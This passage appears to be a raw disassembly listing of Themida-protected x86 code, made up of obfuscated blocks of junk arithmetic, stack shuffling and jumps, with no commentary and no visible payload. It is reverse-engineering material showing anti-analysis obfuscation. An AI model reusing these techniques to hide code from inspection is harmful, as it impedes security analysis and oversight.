loc_5A6B3E: ; CODE XREF: Themida_:0059DCE5j
mov [esp], edx
jmp loc_5A5DF1
; ---------------------------------------------------------------------------
loc_5A6B46: ; CODE XREF: Themida_:005AE977j
sub ebx, ebp
jmp loc_5A0938
; ---------------------------------------------------------------------------
loc_5A6B4D: ; CODE XREF: Themida_:005A7D0Bj
xor ecx, [esp]
xor [esp], ecx
jmp loc_5A3A05
; ---------------------------------------------------------------------------
loc_5A6B58: ; CODE XREF: Themida_:005A2D88j
add cl, 0F8h
add cl, dh
push ebx
jmp loc_5A53B5
; ---------------------------------------------------------------------------
loc_5A6B63: ; CODE XREF: Themida_:005A09B5j
push dword ptr [esp]
pop edx
add esp, 4
and eax, ecx
pop ecx
push dword ptr [edi+1Ch]
jmp loc_59AAFA
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5A7951
; ---------------------------------------------------------------------------
loc_5A6B7E: ; CODE XREF: Themida_:005A427Bj
add ebp, esi
jmp loc_5A766C
; ---------------------------------------------------------------------------
loc_5A6B85: ; CODE XREF: Themida_:0059A677j
; Themida_:0059CA71j ...
push edx
push 5EE1151Ah
pop edx
sub edx, 702F4B2Fh
jnz loc_59D31C
xor edx, 0EEB1C9E9h
jmp loc_59CC81
; ---------------------------------------------------------------------------
pop edi
loc_5A6BA4: ; CODE XREF: Themida_:005A390Dj
xor eax, ecx
push 8Fh
jmp loc_59E387
; ---------------------------------------------------------------------------
loc_5A6BB0: ; CODE XREF: Themida_:loc_5AB6EEj
xor edx, 4A9E9949h
push 6660h
jmp loc_59DB55
; ---------------------------------------------------------------------------
loc_5A6BC0: ; CODE XREF: Themida_:005ADB9Aj
add esp, 4
jmp loc_5A2081
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5AE9D9
; ---------------------------------------------------------------------------
loc_5A6BD4: ; CODE XREF: Themida_:005A0FFCj
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
jmp loc_5A3CBB
; ---------------------------------------------------------------------------
loc_5A6BE5: ; CODE XREF: Themida_:0059D69Bj
mov edx, 7A860A0Bh
shr edx, 5
or edx, 7B6D1E4Fh
shr edx, 1
sub edx, 0FFFFFFFFh
neg edx
add edx, 0A031A6ABh
add esi, edx
push dword ptr [esp]
jmp loc_5A4954
; ---------------------------------------------------------------------------
loc_5A6C0D: ; CODE XREF: Themida_:005A632Bj
shl eax, 2
jmp loc_5A9D85
; ---------------------------------------------------------------------------
loc_5A6C15: ; CODE XREF: Themida_:005AB406j
add edi, ebx
pop ebx
jmp loc_5A0231
; ---------------------------------------------------------------------------
loc_5A6C1D: ; CODE XREF: Themida_:0059FADCj
add esp, 4
jmp loc_5A7021
; ---------------------------------------------------------------------------
loc_5A6C25: ; CODE XREF: Themida_:005A870Ej
sub al, dh
jmp loc_5A3E3B
; ---------------------------------------------------------------------------
loc_5A6C2C: ; CODE XREF: Themida_:005A3434j
jnp loc_5A9FB0
and esi, 397391Bh
jmp loc_59E41D
; ---------------------------------------------------------------------------
loc_5A6C3D: ; CODE XREF: Themida_:loc_59E850j
jmp loc_5A87BE
; ---------------------------------------------------------------------------
loc_5A6C42: ; CODE XREF: Themida_:005A4EF2j
mov [esp], ebx
push ebx
mov ebx, 0C15190Eh
and ebx, 2A5A10D1h
jmp loc_5AAD9E
; ---------------------------------------------------------------------------
loc_5A6C56: ; CODE XREF: Themida_:loc_59A979j
; Themida_:005A3E7Aj
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
push edi
push 0F241726h
pop edi
xor edi, 0F241722h
push ebx
push 7E2h
mov [esp], ebp
mov ebp, 1E7A6D52h
mov ebx, 106A566Ch
jmp loc_5AE92E
; ---------------------------------------------------------------------------
loc_5A6C89: ; CODE XREF: Themida_:005AC921j
mov edx, esi
pop esi
mov ebx, 2EEB1CF2h
jmp loc_59A533
; ---------------------------------------------------------------------------
loc_5A6C96: ; CODE XREF: Themida_:005A21CAj
; Themida_:005AA306j
pop ecx
add edi, 0F091B94h
jmp loc_5997F6
; ---------------------------------------------------------------------------
loc_5A6CA2: ; CODE XREF: Themida_:005AEFB7j
add ecx, 4
sub esp, 4
jmp loc_5A9479
; ---------------------------------------------------------------------------
loc_5A6CAD: ; CODE XREF: Themida_:0059D99Ej
; Themida_:005AAF5Ej
mov dx, [esp]
push 77CFh
mov [esp], edi
jmp loc_5A91D4
; ---------------------------------------------------------------------------
loc_5A6CBE: ; CODE XREF: Themida_:005AB1CAj
pop eax
neg ecx
jmp loc_5A2CCC
; ---------------------------------------------------------------------------
loc_5A6CC6: ; CODE XREF: Themida_:0059A974j
mov esi, ebx
pop ebx
add ebx, 50D6658h
add ebx, esi
push ecx
mov ecx, 5A60EAAh
and ecx, 38E07F79h
sub ecx, 20FC0FFBh
xor ecx, 0DAAE9875h
jmp loc_5AC2E2
; ---------------------------------------------------------------------------
loc_5A6CEE: ; CODE XREF: Themida_:005A42FDj
add edi, edx
sub esp, 4
mov [esp], ebp
mov ebp, 4B8D1DC4h
sub edi, ebp
mov ebp, [esp]
add esp, 4
pop edx
jmp loc_5AD960
; ---------------------------------------------------------------------------
loc_5A6D0C: ; CODE XREF: Themida_:0059BE92j
add edi, esi
pop esi
xchg edi, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_5992B0
; ---------------------------------------------------------------------------
loc_5A6D1E: ; CODE XREF: Themida_:0059BE33j
jnp loc_59EC21
push ecx
mov ecx, 44296A9Ch
and eax, ecx
mov ebp, esi
loc_5A6D2E: ; CODE XREF: Themida_:005A69D3j
add edx, 4
jmp loc_5AC88B
; ---------------------------------------------------------------------------
loc_5A6D39: ; CODE XREF: Themida_:005A3FEFj
push 5A6h
jmp loc_5A4C0D
; ---------------------------------------------------------------------------
loc_5A6D43: ; CODE XREF: Themida_:005AA8E0j
pop edx
xor edx, eax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A6D4B: ; CODE XREF: Themida_:005AC0F7j
sub ah, 0C1h
xor cl, ah
pop eax
add al, cl
mov ecx, [esp]
add esp, 4
jmp loc_59EAEE
; ---------------------------------------------------------------------------
loc_5A6D61: ; CODE XREF: Themida_:0059F2B6j
add ebx, 1
xor ebx, 720D7ABBh
push 2B3Eh
mov [esp], eax
mov eax, 31B6B126h
jmp loc_5AD2C8
; ---------------------------------------------------------------------------
loc_5A6D7F: ; CODE XREF: Themida_:005A08ECj
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
sub ebp, ecx
pop ecx
jmp loc_5ACE20
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_5A238D
; ---------------------------------------------------------------------------
loc_5A6DA4: ; CODE XREF: Themida_:005AA40Bj
pop ebp
jmp loc_5A0203
; ---------------------------------------------------------------------------
loc_5A6DAA: ; CODE XREF: Themida_:0059B46Bj
xor ecx, 731126A7h
jmp loc_59A137
; ---------------------------------------------------------------------------
loc_5A6DB5: ; CODE XREF: Themida_:005AE59Ej
pop edx
xor ecx, eax
mov eax, [esp]
jmp loc_5A07A0
; ---------------------------------------------------------------------------
loc_5A6DC0: ; CODE XREF: Themida_:005A9B6Fj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A6DC5: ; CODE XREF: Themida_:0059D9CAj
xchg esi, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
add ecx, ebp
mov ebp, [esp]
push edi
jmp loc_5A7575
; ---------------------------------------------------------------------------
loc_5A6DDC: ; CODE XREF: Themida_:0059EF62j
sub eax, ecx
pop ecx
push edx
mov edx, 4CD38CAh
add eax, 545B15A0h
sub eax, 3B54904h
add eax, edx
add eax, 3B54904h
jmp loc_59FA9C
; ---------------------------------------------------------------------------
loc_5A6DFB: ; CODE XREF: Themida_:005A7D81j
sub esp, 4
jmp loc_5A7672
; ---------------------------------------------------------------------------
loc_5A6E03: ; CODE XREF: Themida_:005A8E4Fj
; Themida_:005AD8F4j
push dword ptr [esp]
pop edx
push 262Ch
mov [esp], ebp
mov ebp, esp
push 3CBAh
mov [esp], ebx
mov ebx, 50EA7827h
sub ebx, 1
add ebx, 15EF4D0Ah
add ebx, 729D746Ah
add ebx, 2688C66Ah
add ebp, ebx
jmp loc_5A4CBD
; ---------------------------------------------------------------------------
loc_5A6E3D: ; CODE XREF: Themida_:0059F829j
pop ecx
shr ecx, 5
xor ecx, 5CFD7A2Fh
sub ecx, 312B7E6Dh
and ecx, 129A3D7Ch
push edi
mov edi, 42933EFDh
xor ecx, edi
mov edi, [esp]
add esp, 4
push 7DF9h
mov [esp], ebp
mov ebp, 3E3A0B60h
push edx
mov edx, 7A700002h
dec edx
jmp loc_5AE873
; ---------------------------------------------------------------------------
loc_5A6E7A: ; CODE XREF: Themida_:005A0CA8j
jmp loc_599ACC
; ---------------------------------------------------------------------------
loc_5A6E7F: ; CODE XREF: Themida_:005A5D88j
push dword ptr [esp+4]
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_5A5902
; ---------------------------------------------------------------------------
loc_5A6E91: ; CODE XREF: Themida_:005A469Fj
add al, dh
pop edx
jmp loc_5ADC20
; ---------------------------------------------------------------------------
loc_5A6E99: ; CODE XREF: Themida_:005A5CC8j
pop edi
add edx, edi
sub edx, 442A2F2Dh
jmp loc_5A5933
; ---------------------------------------------------------------------------
loc_5A6EA7: ; CODE XREF: Themida_:005AED31j
mov dl, cl
pop ecx
jmp loc_5A57A6
; ---------------------------------------------------------------------------
loc_5A6EAF: ; CODE XREF: Themida_:005A3B51j
pop ecx
push edx
mov edx, esp
jmp loc_5A6250
; ---------------------------------------------------------------------------
loc_5A6EB8: ; CODE XREF: Themida_:005ABFE9j
push edi
mov edi, esp
push ebp
mov ebp, 4
add edi, ebp
pop ebp
push ebp
mov ebp, 4
sub edi, ebp
pop ebp
xchg edi, [esp]
pop esp
mov [esp], esi
push esp
push dword ptr [esp]
pop esi
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push 2F6Dh
mov [esp], ebp
jmp loc_5A2EBC
; ---------------------------------------------------------------------------
loc_5A6EF7: ; CODE XREF: Themida_:005AC983j
mov ebx, 32C43045h
dec ebx
dec ebx
sub ebx, 23D5C9FBh
sub ecx, ebx
pop ebx
sub ecx, ebx
add ecx, 0EEE6648h
mov ebx, [esp]
add esp, 4
jmp loc_5A3F65
; ---------------------------------------------------------------------------
loc_5A6F1A: ; CODE XREF: Themida_:0059FB54j
mov esp, [esp]
push ebp
push edx
push ebx
mov ebx, 39BB5794h
mov edx, 30E0254Ch
xor edx, ebx
pop ebx
push edx
push esi
pop edx
pop esi
xor esi, ebp
xor ebp, esi
xor esi, ebp
not ebp
xchg ebp, esi
xchg esi, edx
xor edx, 7EC27ABBh
xor edx, 8866F798h
mov ebp, edx
mov edx, [esp]
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5A8E25
; ---------------------------------------------------------------------------
loc_5A6F5C: ; CODE XREF: Themida_:005A0709j
push eax
jmp loc_5A8167
; ---------------------------------------------------------------------------
loc_5A6F62: ; CODE XREF: Themida_:005AB8DCj
sub esp, 4
mov [esp], eax
jmp loc_5A3912
; ---------------------------------------------------------------------------
loc_5A6F6D: ; CODE XREF: Themida_:005999D6j
pop esi
jmp loc_59D261
; ---------------------------------------------------------------------------
loc_5A6F73: ; CODE XREF: Themida_:005A4BD6j
push 60A1h
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
push eax
push 332Dh
jmp loc_5A1023
; ---------------------------------------------------------------------------
push 3008h
push 6521h
mov [esp], esp
add dword ptr [esp], 4
pop dword ptr [esp]
push 4175h
mov [esp], esi
mov esi, esp
add esi, 4
push ebp
jmp loc_5A7568
; ---------------------------------------------------------------------------
loc_5A6FBA: ; CODE XREF: Themida_:005A40F4j
pop ebx
and edx, 639A6F85h
not edx
neg edx
push 51D1h
mov [esp], esi
jmp loc_59DF0E
; ---------------------------------------------------------------------------
loc_5A6FD2: ; CODE XREF: Themida_:005990C8j
push dword ptr [esp]
mov eax, [esp]
jmp loc_59DCD9
; ---------------------------------------------------------------------------
loc_5A6FDD: ; CODE XREF: Themida_:0059CB34j
mov edi, edx
pop edx
add edi, ecx
jmp loc_59E064
; ---------------------------------------------------------------------------
loc_5A6FE7: ; CODE XREF: Themida_:0059FBFDj
xor edx, 7E5B4Dh
jl loc_5A12E5
jmp loc_5986AE
; ---------------------------------------------------------------------------
loc_5A6FF8: ; CODE XREF: Themida_:005ACDD0j
xor edx, 7BCA0505h
jnz loc_59924C
xor edx, 0F2336367h
jmp loc_59838C
; ---------------------------------------------------------------------------
push edx
mov dh, 5Bh
loc_5A7012: ; CODE XREF: Themida_:005A8986j
mov [esp], edx
push 0D976A22h
pop edx
push ebx
jmp loc_5A8A86
; ---------------------------------------------------------------------------
loc_5A7021: ; CODE XREF: Themida_:005A6C20j
sub esp, 4
mov [esp], eax
mov eax, 591A4F52h
push edx
mov edx, 591A4F4Eh
add eax, 6EB4002Bh
sub eax, 3BB35BA6h
sub eax, edx
add eax, 3BB35BA6h
jmp loc_5AE83C
; ---------------------------------------------------------------------------
loc_5A704B: ; CODE XREF: Themida_:005A4D1Aj
sub eax, 50F101Bh
sub eax, edi
add eax, 50F101Bh
jmp loc_5AC21A
; ---------------------------------------------------------------------------
loc_5A705C: ; CODE XREF: Themida_:loc_5A819Dj
dec esi
jnp loc_5A56A8
shr esi, 6
sub esi, 0DCC57E8Ch
inc esi
mov bl, dl
loc_5A706F: ; CODE XREF: Themida_:005AD034j
pop esp
jmp loc_5A41DD
; ---------------------------------------------------------------------------
loc_5A7075: ; CODE XREF: Themida_:005A8BF6j
add esp, 4
push 36A1h
jmp loc_5AA9FF
; ---------------------------------------------------------------------------
loc_5A7082: ; CODE XREF: Themida_:005A2ADEj
xor ebp, 5D952722h
jmp loc_5A085A
; ---------------------------------------------------------------------------
loc_5A708D: ; CODE XREF: Themida_:0059C23Bj
add eax, ebx
jmp loc_599B23
; ---------------------------------------------------------------------------
loc_5A7094: ; CODE XREF: Themida_:005A69EFj
sub esp, 2
jmp loc_5A71A8
; ---------------------------------------------------------------------------
loc_5A709F: ; CODE XREF: Themida_:00599FE6j
mov edi, 7B381C15h
jmp loc_5A7981
; ---------------------------------------------------------------------------
loc_5A70A9: ; CODE XREF: Themida_:00598569j
mov [esp], ebx
mov bh, al
sub esp, 4
mov [esp], edx
push eax
mov ah, bh
mov dh, ah
pop eax
jmp loc_5A4053
; ---------------------------------------------------------------------------
loc_5A70C2: ; CODE XREF: Themida_:005A0723j
push esi
mov esi, 6D087A35h
push 2674h
jmp loc_5A5F60
; ---------------------------------------------------------------------------
loc_5A70D2: ; CODE XREF: Themida_:005A1921j
push ebp
jmp loc_5A4874
; ---------------------------------------------------------------------------
loc_5A70D8: ; CODE XREF: Themida_:005AD656j
push dword ptr [esp+4]
jmp loc_59B1BD
; ---------------------------------------------------------------------------
loc_5A70E1: ; CODE XREF: Themida_:0059F42Cj
push edx
mov dl, 7Eh
xor dl, 64h
not dl
jmp loc_59D7A7
; ---------------------------------------------------------------------------
loc_5A70EE: ; CODE XREF: Themida_:0059C9DDj
mov ecx, esp
jmp loc_5A95F8
; ---------------------------------------------------------------------------
loc_5A70F5: ; CODE XREF: Themida_:0059EAC5j
add edx, 6E9C21B9h
and edx, 41A05750h
ja loc_59BB42
and edx, 213370EAh
jmp loc_5AAF0A
; ---------------------------------------------------------------------------
loc_5A7112: ; CODE XREF: Themida_:loc_59E074j
and esi, 42117B0Ah
neg esi
jmp loc_5A819D
; ---------------------------------------------------------------------------
loc_5A711F: ; CODE XREF: Themida_:0059B07Fj
; Themida_:005A1AFAj
mov ebp, [esp]
push 1CD5h
mov [esp], edx
jmp loc_5AA6D2
; ---------------------------------------------------------------------------
loc_5A712F: ; CODE XREF: Themida_:005A5AC4j
xchg eax, [esp]
jmp loc_5A4366
; ---------------------------------------------------------------------------
loc_5A7137: ; CODE XREF: Themida_:005987E9j
jmp loc_59A9FA
; ---------------------------------------------------------------------------
loc_5A713C: ; CODE XREF: Themida_:005A1735j
neg eax
jmp loc_5A2424
; ---------------------------------------------------------------------------
loc_5A7143: ; CODE XREF: Themida_:0059FD68j
; Themida_:005AF27Dj
add edi, 0BAFD87E0h
add edx, edi
pop edi
xchg edx, [esp]
mov esp, [esp]
xor ebp, [esp]
xor [esp], ebp
jmp loc_5A517F
; ---------------------------------------------------------------------------
loc_5A715D: ; CODE XREF: Themida_:loc_5A34F9j
sub al, 90h
jg loc_5AC6D0
xor al, 89h
jnp loc_5AD5DA
mov al, 6Dh
mov ch, al
loc_5A7171: ; CODE XREF: Themida_:0059BD7Ej
xchg ebp, [esp]
pop esp
mov [esp], ebx
push 2DF2h
mov [esp], eax
jmp loc_5A8155
; ---------------------------------------------------------------------------
loc_5A7185: ; CODE XREF: Themida_:005A990Aj
jmp loc_5A2F4A
; ---------------------------------------------------------------------------
loc_5A718A: ; CODE XREF: Themida_:00598DD1j
; Themida_:005A15BCj
add esp, 4
push 6ECh
jmp loc_59DEC5
; ---------------------------------------------------------------------------
loc_5A719A: ; CODE XREF: Themida_:005A2D90j
push ecx
mov ecx, esp
add ecx, 4
jmp loc_5A8063
; ---------------------------------------------------------------------------
loc_5A71A8: ; CODE XREF: Themida_:005A33CCj
; Themida_:005A709Aj
mov [esp], ax
push edx
mov dl, cl
jmp loc_59AFC0
; ---------------------------------------------------------------------------
loc_5A71B4: ; CODE XREF: Themida_:005A515Dj
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push edx
mov edx, 6EEB136Ah
jmp loc_5A13CA
; ---------------------------------------------------------------------------
loc_5A71CE: ; CODE XREF: Themida_:005ADA83j
sub esp, 4
jmp loc_5A1524
; ---------------------------------------------------------------------------
loc_5A71D6: ; CODE XREF: Themida_:0059E3D5j
add ecx, ebp
push ebp
mov ebp, 759C4D6Ah
push edi
mov edi, 78035DF7h
neg edi
sub edi, 7B252238h
xor ebp, edi
pop edi
add ecx, 7A723ED9h
jmp loc_59BD39
; ---------------------------------------------------------------------------
loc_5A71FA: ; CODE XREF: Themida_:005A24A5j
push esp
pop dword ptr [esp]
push edx
mov edx, 4
add [esp+4], edx
pop edx
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp]
xor [esp], ebx
jmp loc_59FB51
; ---------------------------------------------------------------------------
loc_5A721E: ; CODE XREF: Themida_:005A0794j
mov dx, 0A1FCh
mov bp, dx
pop dx
sub bp, ax
jmp loc_5A2DFA
; ---------------------------------------------------------------------------
loc_5A722F: ; CODE XREF: Themida_:0059CACCj
pop ebp
add eax, edx
add eax, 565A2CD4h
jmp loc_5A18F4
; ---------------------------------------------------------------------------
loc_5A723C: ; CODE XREF: Themida_:0059ED1Aj
add esp, 4
push edi
mov edi, 51D351B3h
jmp loc_5A5E19
; ---------------------------------------------------------------------------
loc_5A724A: ; CODE XREF: Themida_:0059CB61j
add esp, 4
add bl, al
push edx
mov dl, 0F2h
sub bl, dl
pop edx
movzx eax, al
lea eax, [edi+eax*4]
push 193h
mov [esp], ebp
mov ebp, esp
jmp loc_5ABA82
; ---------------------------------------------------------------------------
loc_5A726A: ; CODE XREF: Themida_:0059BF83j
shr bl, 4
add bl, 1
shl bl, 1
add bl, 0BEh
add al, bl
pop ebx
pop ecx
jmp loc_59D416
; ---------------------------------------------------------------------------
loc_5A727E: ; CODE XREF: Themida_:loc_5A6060j
jmp loc_5AA037
; ---------------------------------------------------------------------------
loc_5A7283: ; CODE XREF: Themida_:005A0526j
push 2C280AFDh
pop edi
sub esp, 4
mov [esp], edx
mov edx, 44E82016h
xor edi, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 31CF5A65h
or edi, edx
pop edx
shr edi, 6
jmp loc_5A2D59
; ---------------------------------------------------------------------------
loc_5A72B0: ; CODE XREF: Themida_:00599617j
shl ecx, 3
add ecx, 0FFFFFFFFh
jmp loc_59B5BC
; ---------------------------------------------------------------------------
loc_5A72BB: ; CODE XREF: Themida_:005AA09Fj
sub esp, 4
jmp loc_5A259B
; ---------------------------------------------------------------------------
loc_5A72C6: ; CODE XREF: Themida_:0059C8F6j
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_59B4E8
; ---------------------------------------------------------------------------
loc_5A72DD: ; CODE XREF: Themida_:005A52A3j
mov [esp], edi
mov edi, 1E0F1E36h
push ebp
mov ebp, 0C9C3DF7h
sub dword ptr [esp+8], 55FC4673h
jmp loc_59F3F6
; ---------------------------------------------------------------------------
loc_5A72F8: ; CODE XREF: Themida_:005AEBEBj
add dword ptr [esp+8], 55FC4673h
pop ebp
add [esp+4], edi
sub dword ptr [esp+4], 0C9C3DF7h
pop edi
mov eax, [esp]
push esi
push 78F8h
mov [esp], esp
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
mov esi, [esp]
add esp, 4
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
jmp loc_5AED17
; ---------------------------------------------------------------------------
loc_5A733F: ; CODE XREF: Themida_:00599CC3j
sub ecx, 3AD91FFFh
jmp loc_5A7F33
; ---------------------------------------------------------------------------
loc_5A734A: ; CODE XREF: Themida_:0059B4EBj
pop esp
sub esp, 4
mov [esp], eax
mov eax, esp
add eax, 4
push 2738h
mov [esp], esi
push edx
mov edx, 4
push ebp
push edi
mov edi, edx
mov ebp, edi
jmp loc_5A021F
; ---------------------------------------------------------------------------
loc_5A7374: ; CODE XREF: Themida_:005A2F50j
add ebx, 0C102D885h
jmp loc_5AD5BD
; ---------------------------------------------------------------------------
loc_5A737F: ; CODE XREF: Themida_:loc_5A765Cj
shr ecx, 4
js loc_59F145
jmp loc_5AB8D2
; ---------------------------------------------------------------------------
loc_5A738D: ; CODE XREF: Themida_:0059AC6Cj
pop esi
not esi
jmp loc_5A0CF1
; ---------------------------------------------------------------------------
loc_5A7395: ; CODE XREF: Themida_:005ADE66j
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
jmp loc_59BA10
; ---------------------------------------------------------------------------
loc_5A73A5: ; CODE XREF: Themida_:005A1F0Bj
; Themida_:005A55C7j
shr edx, 5
add edx, 328D1F80h
push edi
jmp loc_5ACF08
; ---------------------------------------------------------------------------
loc_5A73B4: ; CODE XREF: Themida_:005A675Ej
sub ecx, eax
pop eax
jmp loc_5AA671
; ---------------------------------------------------------------------------
dd 0FF2434FFh, 68582434h, 5893h, 0E9243489h, 0FFFF6FE4h
; ---------------------------------------------------------------------------
loc_5A73D0: ; CODE XREF: Themida_:005A5DC9j
mov [esp], edi
mov edi, 5970132Ch
shl edi, 2
push esi
mov esi, 62A91515h
xor edi, esi
pop esi
push ebp
push esi
mov esi, 6F9A220Ch
mov ebp, 2B193923h
xor ebp, esi
jmp loc_5AA5C4
; ---------------------------------------------------------------------------
loc_5A73F7: ; CODE XREF: Themida_:0059B652j
mov [esp], edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5A8011
; ---------------------------------------------------------------------------
loc_5A740F: ; CODE XREF: Themida_:005AC3C3j
not edx
jmp loc_59CEB3
; ---------------------------------------------------------------------------
loc_5A7416: ; CODE XREF: Themida_:0059AD12j
shr ebp, 7
dec ebp
xor ebp, 0A6627A9h
inc ebp
xor ebp, 0B9C4C4Bh
mov eax, ebp
pop ebp
add esi, eax
mov eax, [esp]
push esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_59FF45
; ---------------------------------------------------------------------------
loc_5A7440: ; CODE XREF: Themida_:005AA34Dj
mov ebx, 249E7F87h
mov edi, 5F714A77h
xor edi, 12C5439h
ja loc_5A3187
not edi
jmp loc_5A54AD
; ---------------------------------------------------------------------------
xor ebp, 0AB7A0BDh
pop ecx
loc_5A7464: ; CODE XREF: Themida_:005AA8B7j
add eax, 0A2359D2Dh
jmp loc_5AA5FB
; ---------------------------------------------------------------------------
loc_5A746E: ; CODE XREF: Themida_:loc_59C9A2j
shl edi, 2
add edi, 1F0A2591h
jno loc_5AB704
sub edi, 107FB628h
push eax
jmp loc_5A34A0
; ---------------------------------------------------------------------------
loc_5A7489: ; CODE XREF: Themida_:005A1473j
add edx, ebp
add edx, 1A9E3C29h
jmp loc_59EC66
; ---------------------------------------------------------------------------
loc_5A7496: ; CODE XREF: Themida_:005A249Cj
xor eax, 7BEA1B95h
or ecx, eax
pop eax
sub esp, 4
mov [esp], edx
push 54221799h
mov edx, [esp]
jmp loc_5ADF95
; ---------------------------------------------------------------------------
loc_5A74B1: ; CODE XREF: Themida_:005A9FE4j
mov esi, [esp]
jmp loc_5A627D
; ---------------------------------------------------------------------------
loc_5A74B9: ; CODE XREF: Themida_:005ADE82j
sub ebp, 779BEF74h
add ebx, ebp
pop ebp
push 7238h
mov [esp], ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_598BE9
; ---------------------------------------------------------------------------
loc_5A74DA: ; CODE XREF: Themida_:005991D2j
push esi
jmp loc_5ADB23
; ---------------------------------------------------------------------------
loc_5A74E0: ; CODE XREF: Themida_:005A93F9j
jmp loc_5A1A26
; ---------------------------------------------------------------------------
loc_5A74E5: ; CODE XREF: Themida_:loc_5A026Aj
sub eax, 0FFFFFFFFh
shr eax, 6
jmp loc_5A62C7
; ---------------------------------------------------------------------------
loc_5A74F2: ; CODE XREF: Themida_:0059DC8Ej
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
sub ebp, ecx
pop ecx
xchg ebp, [esp]
pop esp
mov [esp], ecx
push ebx
jmp loc_5AE85B
; ---------------------------------------------------------------------------
loc_5A7510: ; CODE XREF: Themida_:005AA03Bj
jnz loc_5ACE09
jmp loc_5AD775
; ---------------------------------------------------------------------------
mov [esp], edx
mov dl, 51h
add dl, 7Fh
mov ah, 75h
loc_5A7525: ; CODE XREF: Themida_:005AAE45j
pop ecx
xor edx, 687915CDh
push edx
pop ebx
mov edx, [esp]
jmp loc_5AE06B
; ---------------------------------------------------------------------------
loc_5A7536: ; CODE XREF: Themida_:005A69FBj
shl eax, 2
push edx
jmp loc_5ACB61
; ---------------------------------------------------------------------------
loc_5A753F: ; CODE XREF: Themida_:005A2476j
push dword ptr [esp]
pop ecx
add esp, 4
xchg edx, ebx
and ebx, 6E0567BEh
xor ebx, 7A855D95h
jbe loc_5A4AFB
add ebx, 66942AC8h
jmp loc_5AEA48
; ---------------------------------------------------------------------------
loc_5A7568: ; CODE XREF: Themida_:005A6FB5j
mov ebp, 4C8F6C43h
shl ebp, 6
jmp loc_59C1F6
; ---------------------------------------------------------------------------
loc_5A7575: ; CODE XREF: Themida_:005A6DD7j
mov edi, esp
add edi, 4
jmp loc_5AD582
; ---------------------------------------------------------------------------
loc_5A7582: ; CODE XREF: Themida_:0059E3A2j
; Themida_:005A2157j
mov edi, 2C74718Fh
jmp loc_5AC33E
; ---------------------------------------------------------------------------
movzx ax, byte ptr fs:[edx]
jmp loc_5A7F97
; ---------------------------------------------------------------------------
loc_5A7596: ; CODE XREF: Themida_:0059E25Ej
add ebp, 4
xchg ebp, [esp]
pop esp
xor [esp], cl
xor cl, [esp]
xor [esp], cl
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A75AB: ; CODE XREF: Themida_:005A2AF1j
mov esi, 252F4AECh
push 0
add dword ptr [esp], 212928E0h
jmp loc_59BB10
; ---------------------------------------------------------------------------
loc_5A75C1: ; CODE XREF: Themida_:00599FCFj
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esp
sub esp, 4
mov [esp], edi
jmp loc_5A6177
; ---------------------------------------------------------------------------
loc_5A75E2: ; CODE XREF: Themida_:005AB81Bj
pop esp
pop dword ptr [esp]
mov esp, [esp]
push 2B94h
mov [esp], ecx
push edi
push ebp
mov ebp, 7E3C2B7Ah
jmp loc_5A1CC6
; ---------------------------------------------------------------------------
loc_5A75FD: ; CODE XREF: Themida_:005A7B26j
not dword ptr [esp]
inc dword ptr [esp]
pop ebx
xor ebx, 0BA8CED51h
jmp loc_5A024F
; ---------------------------------------------------------------------------
loc_5A760F: ; CODE XREF: Themida_:0059C119j
; Themida_:005A5016j
neg edx
add edx, 507F5522h
jmp loc_5AB4BF
; ---------------------------------------------------------------------------
loc_5A761C: ; CODE XREF: Themida_:005A44C7j
add ebp, 4
xchg ebp, [esp]
pop esp
mov eax, [esp]
push ebx
jmp loc_5AC9FC
; ---------------------------------------------------------------------------
loc_5A762F: ; CODE XREF: Themida_:005A86C2j
mov [esp], esi
push edi
push 502C32C8h
pop edi
jmp loc_5A589C
; ---------------------------------------------------------------------------
loc_5A763E: ; CODE XREF: Themida_:0059D0E7j
add ecx, 20933698h
shl ecx, 2
jnp loc_59A8D8
xor ecx, 45A2DEE4h
mov esi, ecx
pop ecx
sub ecx, esi
pop esi
xor ecx, [esp]
loc_5A765C: ; CODE XREF: Themida_:loc_5A9C90j
jmp loc_5A737F
; ---------------------------------------------------------------------------
loc_5A7661: ; CODE XREF: Themida_:005A2F7Cj
add dl, 5
mov ch, dl
pop edx
jmp loc_59AFA2
; ---------------------------------------------------------------------------
loc_5A766C: ; CODE XREF: Themida_:005A6B80j
pop esi
jmp loc_5A96CF
; ---------------------------------------------------------------------------
loc_5A7672: ; CODE XREF: Themida_:0059A6EEj
; Themida_:005A6DFEj
mov [esp], edx
push ebx
mov bl, 85h
mov dl, bl
pop ebx
add al, dl
jmp loc_5A90DC
; ---------------------------------------------------------------------------
loc_5A7682: ; CODE XREF: Themida_:0059D757j
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edx
push ecx
mov ch, 4
mov dh, 67h
jmp loc_5A4D55
; ---------------------------------------------------------------------------
